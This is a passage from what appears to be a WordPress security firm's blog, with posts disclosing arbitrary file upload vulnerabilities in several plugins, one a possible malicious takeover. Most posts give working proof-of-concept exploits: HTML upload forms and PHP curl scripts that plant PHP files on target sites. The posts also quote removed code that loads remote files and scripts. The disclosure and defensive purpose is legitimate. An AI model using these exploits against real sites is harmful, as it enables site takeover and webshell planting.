16 Oct

Is This Another Case of a Malicious Takeover of a WordPress Plugin?

In our previous post we noted how we had found that the plugin Facebook Like Box had recently had a cross-site request forgery (CSRF) related vulnerability fixed. In looking over what else had recently been done with the plugin we noticed in the previous release one of the changelog entries was “Fixed Security Bugs”.

Looking at the changes made in that version several pieces of code that had been removed stood out. At first we noticed code another CSRF related vulnerability, this time the CSRF vulnerability could lead to an arbitrary file upload vulnerability (in the file /cardoza_facebook_like_box.php):

116
117
118
119
120
if(isset($_POST['frm_fileupload']))
{
	$file_url=$_POST['file_url'];
	$file_name=explode("/",$file_url);
	$file_name=$file_name[count($file_name)-1];

That vulnerability could have allowed an attacker to cause a logged in Administrator to upload a malicious file they didn’t intend to.

Also removed was code that would load a custom CSS file that is related to that upload capability.

What is much more concerning is very similar code to the previously shown, which is at the beginning of the file:

12
13
14
15
16
17
18
19
if(isset($_POST['out_fileupload']))
{
	$file_url=$_POST['file_url'];
	$file_name=explode("/",$file_url);
	$file_name=$file_name[count($file_name)-1];
	file_put_contents(dirname(__file__)."/custom-css/$file_name",file_get_contents($file_url));
	exit;
}

What is different about that code is that unlike the first code, which runs only when visiting the plugin’s settings page, this code runs anytime WordPress loads when the plugin is active or when sending a request directly to file. With that an attacker can upload malicious files to the website as long as they can access the homepage if the plugin is active or if they can access the file directly (which would normally be the case). Nowhere in the plugin is there code that would utilize code that, unlike the other file upload code removed. That all would seem to indicate that either the code was something that was replaced with the other code and accidentally left in or that it was intended to be there for malicious purposes.

What makes this code more problematic for those hoping to be protected by a security plugin is that the file being uploaded is not sent with the request, but requested from another website. In previous testing we found that a few security plugin could provide some protection when the file being uploaded is included with the request, but none of provided protection with a very similar vulnerability when the file was being request from another website.

Something else we noticed was that the following line was removed:

55
wp_enqueue_script('admin_cfblbjs','https://johnnash.info/plugin/ads.js');

That would cause the contents of the URL at https://johnnash.info/plugin/ads.js to be loaded on admin pages as JavaScript, which could possibly have been used for malicious purposes. That URL is currently serving a blank page.

The domain johnnash.info was registered on March 15, 2017, the registrant it isn’t listed (GoDaddy’s Domains By Proxy is listed), and the website is being served through Cloudflare.

All of the previously mentioned code was added to the plugin on March 16, 2017. That change was the first made by johnnash1975 to the plugin. Three days later the only previous committer, vinoj.cardoza, changed the Contributors to johnnash1975. That was the last change they made.

On the original author’s page for the plugin on October 4 they replied to a comment with the following:

Thanks for posting your question. Sorry, I have already sold this plugin to someone else. I have forwarded your question to them.

So it appears you have someone that purchased the plugin, which has 20,000+ active installs, and then promptly added code that created a major vulnerability. It’s possible that is unintentional, but it doesn’t look good.

It would seem the Plugin Directory team believes that the current developer doesn’t have just malicious intent since they have allowed them to submit two updates. What is concerning is if they believe this was not intentional is that they have not move quicker to get a secured version out to others, as the plugin only returned to the Plugin Directory sometime since yesterday afternoon. If we have figured out something has vulnerability, you can be sure others could as well. Considering that we are behind in checking over changes to plugins that lead us to notice this, hackers have already had nearly two weeks since the changes were made to realize there is an issue and start exploiting it (maybe they already are).

The Plugin Directory didn’t require the new developer to update the plugin to list them as the developer before restoring the plugin, which seems like something that absolutely should have been done based on what has happened with the plugin.

If someone had already realized the true scope issue, not disclosing that fact so far seems to be a questionable decision.

 

Get Alerted to This Type of Situation

For situations like this, where we become aware that there is likely intentionally malicious code we add that issue to the free data that comes with our services companion plugin (we also include vulnerabilities we see being exploited in that data), so using the plugin would warn you about this type of situation even if you don’t use our service. If you use our service you get warned about all publicly disclosed vulnerabilities that we are aware of (which is many more than any other provider out there is aware of). Currently you can try the service for free for a year.

The issues with this plugin would have been picked up by the security reviews we do, which can be purchased or if you are paying a customer you get to suggest/vote for plugins to get a review from us.

If you become aware of a plugin where you suspect there has been something like this done to it, we would appreciate if you would notify us of the situation so that we can look into it. You can also notify the Plugin Directory of it.

Proof of Concept

While it is very easy to exploit this vulnerability and we don’t think hackers would have any problem figuring it out themselves, we will hold back on including it here for the moment. If someone needs that right away, get in touch with us.

20 Sep

Arbitrary File Upload Vulnerability in All Post Contact Form

Through the proactive monitoring of changes in WordPress plugins for serious vulnerabilities we do, we recently found an an arbitrary file upload vulnerability in the All Post Contact Form plugin.

When the plugins shortcode, rlallpostcontactform, is on a post or page the the file /allpost-contactform-core.php is included. In that file the following code is run:

53
54
if(is_uploaded_file($_FILES['attachment_file']['tmp_name'])){
move_uploaded_file($_FILES['attachment_file']['tmp_name'],WP_CONTENT_DIR.'/uploads/'.$_FILES['attachment_file']['name'] );

That code checks if a file is included with the request with attribute name set as  “attachment_file” and if it is then the file is saved to the directory /wp-content/uploads/.

We contacted the developer about the vulnerability a week ago, but have not heard back from them. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/.

Make sure to replace “[path to shortcode post]” with the location of the post (or page) with the shortcode “rlallpostcontactform”.

<html>
<body>
<form action="[path to shortcode post]" method="POST" enctype="multipart/form-data">
<input type="file" name="attachment_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 13, 2017 – Developer notified.
06 Sep

Arbitrary File Upload Vulnerability in Woocommerce Product Designer

Last week we looked a recent example of the security industry vastly overstating the impact of a vulnerability, in that instance it involved a reflected cross-site scripting (XSS) vulnerability in a plugin used with the popular WordPress eCommerce plugin WooCommerce. What that situation also highlighted is the poor state of detection of vulnerabilities in WordPress plugins. Here is what the discoverer SiteLock wrote about finding it:

Our automated scanner alerted us to an XSS vulnerability on a customer’s website, which we determined was due to the WooCommerce “Product Vendors” plugin. What was unusual in this case is that the vulnerable plugin was, at the time, the most recent version, so no patches were yet available for the vulnerability. We immediately contacted Automattic concerning our findings in following our Responsible Disclosure Policy, provided all relevant information on the vulnerability, and coordinated this disclosure.

Reflected cross-site scripting (XSS) vulnerabilities are relatively common, so it sounds like their scanner is only catching very obvious vulnerabilities if spotting something like this in the current version of a plugin is uncommon for them. Since the plugin in question is not free and not accessible through the Plugin Directory it is less likely to have received the kind of scrutiny that could have caught it before.

As a recent addition to our service we started monitoring all changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities as they are added to plugins to help to better protect customers and to lesser extent everyone else (as if it gets fixed everyone is protected, but if the vulnerability isn’t fixed our customers will be warned right away and we can work with them to handle the vulnerability they have on their website). Because of how we do that monitoring it will also catch vulnerabilities that already exist in plugins if a change being made to the plugin includes the vulnerable code.

One of the types vulnerabilities we are monitoring for through that are arbitrary file upload vulnerabilities, since those are likely to be exploited by hackers. Through that we came across a possible vulnerability of that type in another WooCommerce related plugin, Woocommerce Product Designer.

In looking into that first thought the vulnerability was not exploitable because the arbitrary file uploaded would be stored in a directory with a unique named generated with uniqid(), but we then found that accessing the vulnerable code from a different function would return the location of the file to the attacker, which would allow exploitation.

The plugin makes the function generate_downloadable_file() available through WordPress’ AJAX functionality whether the request comes from someone logged in to WordPress or not (in the file /includes/class-wpd.php):

276
277
$this->loader->add_action( 'wp_ajax_generate_downloadable_file', $wpd_design, 'generate_downloadable_file' );
$this->loader->add_action( 'wp_ajax_nopriv_generate_downloadable_file', $wpd_design, 'generate_downloadable_file' );

In the function generate_downloadable_file(), which is located in the file /includes/class-wpd-design.php the name of the directory is defined and added to several variables:

279
280
281
282
$tmp_dir = uniqid();
$upload_dir = wp_upload_dir();
$generation_path = $upload_dir["basedir"] . "/WPC/$tmp_dir";
$generation_url = $upload_dir["baseurl"] . "/WPC/$tmp_dir";

If code that uploads a file is successful the location of the file is displayed:

$output_msg.="<div>" . ucfirst($part_key) . __(": please click ", "wpd") . "<a href='$generation_url/$part_key/$part_file' download='$part_file'>" . __("here", "wpd") . "</a> " . __("to download", "wpd") . ".</div>";

The uploading is handled by the file export_data_to_files(), which is also located in /includes/class-wpd-design.php. The important portion was as follows in version 3.0.3:

967
968
969
970
971
972
973
974
975
976
977
978
979
980
$wpc_img_format = $_POST["format"];
 
$output_arr = array();
foreach ($data as $part_key => $part_data) {
	$part_dir = "$generation_dir/$part_key";
	if (!wp_mkdir_p($part_dir)) {
		echo "Can't create part directory...";
		continue;
	}
 
	//Part image
	$output_file_path = $part_dir . "/$part_key.$wpc_img_format";
 
	$moved = move_uploaded_file($_FILES[$part_key]['tmp_name']['image'], $output_file_path);

The code would upload an arbitrary file and give it name based on user input, the value of $data comes from the POST input “final_canvas_parts”.

We notified the developer yesterday and today they released version 3.0.4, which fixes the vulnerability by restricting the file extension of the uploaded file on the server to either “png” or “jpg”:

967
968
969
970
$wpc_img_format = $_POST["format"];
$allowed_extensions=array('png', 'jpg');
if(!in_array( $wpc_img_format, $allowed_extensions))
	return false;

If you are using WooCommerce it would be a good idea to make sure a high quality security review has been done of any other plugins you use because not only have there been plenty of serious security vulnerabilities, like this one, found in other plugins used with it, but since WooCommerce websites normally created WordPress accounts for customers there are more risks from other plugins that all too often lack of proper restriction of what level of users can access its functionality. Oftentimes functionality that should be only accessible to Administrator and other high level users is accessible to all users, which sometimes leads to serious vulnerabilities. For example, we found that one WooCommerce focused plugin allowed any logged in user to change the price, weight, and stock status of products. Users of our service can suggest and vote for plugins to receive a security review from us. You can also order the same type review for a plugin from us.

Proof of Concept

The following proof of concept will upload the selected file to a unique location that will be specified in the response to the request.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="generate_downloadable_file" />
<input type="hidden" name="final_canvas_parts[test]" value='test' />
<input type="hidden" name="format" value="php" />
<input type="file" name="test[image]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 5, 2017 – Developer notified.
  • September 6, 2017 – Developer responds.
  • September 6, 2017 – Version 3.0.4 released, which fixes vulnerability.
14 Jun

Vulnerability Details: File Manager Access Vulnerability in WP File Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

When it comes to functionality in plugins that has high potential for abuse, you would hope that developers would be ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

20 Apr

Arbitrary File Upload Vulnerability in WooCommerce Catalog Enquiry

One of the ways we keep track of vulnerabilities in WordPress plugins so that we can provide our customers with the best data on vulnerabilities in WordPress plugins is by monitoring the Support Forum on wordpress.org for threads related to those. Through that yesterday we came across a thread discussing that the demo website for the plugin WooCommerce Catalog Enquiry contained malware. It suggested that it was possible the issue was related to a vulnerability in the plugin. Looking over the code we quickly found an arbitrary file upload vulnerability in the plugin, which could allow an attacker to upload malicious files to the website. It isn’t clear if the demo website was exploited through this or if the vulnerability has been exploited yet and we haven’t seen evidence through other channels we monitor of any exploitation, but considering the ease we had finding it would be good idea to assume this is already being exploited at this point.

WordPress Forum Moderators Interrupt Responsible Disclosure

We notified the developer of the plugin of the issue yesterday, but have yet to hear back from them. This morning the thread had been updated with a response from the developer that read in part:

Just to inform you, this issue has not generated from our plugin. A third party plugin was causing this.

There wasn’t any explanation as to the source of the malware beyond that and the demo website still contained the malicious code at that time, so we suspect that the developer probably didn’t actual know what the source was.

We responded, letting them know that the malware still being on the demo website and letting them know that we had contacted them about the vulnerability. For some reason a forum moderator removed most of our reply and left this message:

As we have mentioned before, please report plugin security vulnerabilities following the guide at https://developer.wordpress.org/plugins/wordpress-org/plugin-security/reporting-plugin-security-issues/ so that they can be handled properly by the right people, and please do not publicly disclose security vulnerabilities here.

Not only had we not disclosed any vulnerability there (the main point of our message was to try to get the vulnerability fixed before we needed to disclose it), but the guidelines they linked to actually stated at the time:

In the case of serious exploits, please keep in mind responsible and reasonable disclosure. Every attempt to contact the developer directly should be made before you reported the plugin to us (though we understand this can be difficult – check in the source code of the plugin first, many developers list their emails).

Which is what we were in the process of doing. The thread goes on from there with more troubling lack of understanding from forum moderators and the security team (which is far too common an occurrence in our experience).

Deciding when we disclose vulnerabilities is problematic to say the least, because we have an obligation to notify our customers of vulnerabilities in the plugins they use promptly as that is what they are paying us for, but we will also want to limit the additional damage that can be done by vulnerabilities even for those not using our service. The longer we wait the higher the chances one of our customer could be impacted by a vulnerability they should have known about, but waiting could limit damage on a wider scale. We try to balance in our formal disclosure policy and by publicly disclosing vulnerabilities we have discovered so that our customers are not alone in knowing there is an issue (though other WordPress plugin vulnerability data providers don’t seem to do a good job of including those vulnerabilities). For vulnerabilities that are already likely being exploited we also add them to the free data that comes with our services companion plugin, to further limit the damage.

By comparison the WordPress thinks it is appropriate to never warn people about vulnerable plugins that are being exploited until they are fixed, despite the fact that some of those are never fixed, leaving website open to being exploited indefinitely.

The forum moderators also removed the plugin from the Plugin Directory, which will slow down the possibility of fixing the plugin since additional steps have to happen for a fixed version to be released to the public, so we are disclosing the vulnerability now. We had hoped to hold off until there was a fix, if it was quick in coming, but the forum moderators decided to interrupt the process.

Seeing as the vulnerability may already being exploited we are adding it to the free data in our service’s companion plugin, so even those not using the service will get notified if they are using a vulnerable version. Though for those running WooCommerce on their website (as we do), using our service is a good idea as you likely have sensitive data passing through or being stored on your website and this isn’t the only time a plugin for WooCommerce has had a serious vulnerability. We previously found two other arbitrary file upload vulnerabilities in plugins for it and there was another vulnerability found in one last year that would expose order data, which we found that no security plugins would protect against.

Vulnerability Details

The vulnerability involves the function send_product_enqury_mail() located in the file /classes/class-wc-Woocommerce-Catalog-Enquiry-ajax.php. That function is made available through WordPress’ AJAX functionality to those logged in to WordPress and those not logged in:

6
7
add_action('wp_ajax_send_enquiry_mail', array&amp;$this, 'send_product_enqury_mail') );
add_action( 'wp_ajax_nopriv_send_enquiry_mail', array( &$this, 'send_product_enqury_mail' ) );

As of version 3.0.0 the function has the following code that would take a file sent with a request to that function and save it to the filesystem:

59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
if(isset($_FILES['fileupload'])){
	// create catalog enquiry sub directory within uploads
	$upload_dir = wp_upload_dir();
	$catalog_enquiry = $upload_dir['basedir'].'/catalog_enquiry';
	if ( ! file_exists( $catalog_enquiry ) ) {
	    wp_mkdir_p( $catalog_enquiry );
	}
 
	foreach ($_FILES['fileupload'] as $key => $value) {
        $_FILES['fileupload'][$key] = $value[0]; 
    }
    $woo_customer_filesize = 2097152;
    if(isset($settings['filesize_limit']) && !empty($settings['filesize_limit'])){
    	$woo_customer_filesize = intval($settings['filesize_limit'])*1024*1024;
    }
 
    // Check file size
	if ($_FILES['fileupload']['size'] < $woo_customer_filesize) {
		$target_file = $catalog_enquiry.'/'.basename($_FILES['fileupload']['name']);
	    if (move_uploaded_file($_FILES['fileupload']['tmp_name'], $target_file)){
			    	$attachments[] = $target_file; 
	    }
	}
}

That code doesn’t limit what files can be uploaded or in some way restrict access to them. It isn’t clear to us why the files are being saved to the filesystem since the uploading them seems to be so that they can be sent in an email later in the function.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/catalog_enquiry/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="send_enquiry_mail" />
<input type="file" name="fileupload[0]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 19, 2017 – Developer notified.
  • April 20, 2017 – Plugin removed from WordPress.org Plugin Directory.
  • April 20, 2017 – Vulnerability added to free data in our service’s companion plugin.
  • April 24, 2017 – Plugin returns to Plugin Directory with fixed version.
06 Mar

Vulnerability Details: Authenticated Arbitrary File Upload Vulnerability in Profile Builder

One of the ways that we collect the data to provide our customers with the best information on vulnerabilities in WordPress plugins is by monitoring for mentions that new versions of plugins include security fixes and figuring out if any vulnerabilities have been fixed in the new version. We have found that in many cases that the discover of vulnerabilities do not put out a report on ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

13 Feb

Vulnerability Details: Arbitrary File Upload Vulnerability in Web Tripwire

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /web-tripwire/js/swfobject.js, from the plugin Web Tripwire. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /includes/ofc/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/web-tripwire/includes/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/web-tripwire/includes/ofc/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>
06 Feb

Vulnerability Details: Arbitrary File Upload Vulnerability in SpamTask

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/spamtask/jquery.js, from the plugin SpamTask. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /chart/php-ofc-library/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/spamtask/chart/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/spamtask/chart/php-ofc-library/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>
06 Feb

Vulnerability Details: Arbitrary File Upload Vulnerability in WP Simple Cart

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/wp-simple-cart/js/json2.js, from the plugin WP Simple Cart. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Seeing as the type of vulnerability that is probably the most likely to be exploited is an arbitrary file upload vulnerability, we started looking over the plugin for that type of vulnerability and we immediately found one.

When a request to the file /request/simple-cart-upload.php includes a file then that file will be uploaded using the function move_uploaded_file() and will be placed in the directory specified by the variable $uploadfile:

24
25
26
27
28
29
30
31
32
33
34
35
36
37
$user_dir = SimpleCartFunctions::TemporaryDir($_GET['prefix']);
 
if (isset($_GET['file'])) {
    $upload_file = explode('.', $_FILES['userfile']['name']);
    $file_name = $_GET['file'] . '.' . $upload_file[count($upload_file)-1];
}
else {
    $file_name = $_FILES['userfile']['name'];
}
 
//ファイルアップロード
$uploaddir = $user_dir . '/';
$uploadfile = $uploaddir . basename($file_name);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/wp-simple-cart/files/0/temporary/, if no files have been uploaded through the plugin before.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/wp-simple-cart/request/simple-cart-upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="userfile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

 

30 Jan

Vulnerability Details: Arbitrary File Upload Vulnerability in Seo Spy

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/seo-spy-google-wordpress-plugin/ofc/js/swfobject.js, from the plugin Seo Spy. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /ofc/php-ofc-library/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/seo-spy-google-wordpress-plugin/ofc/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/seo-spy-google-wordpress-plugin/ofc/php-ofc-library/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>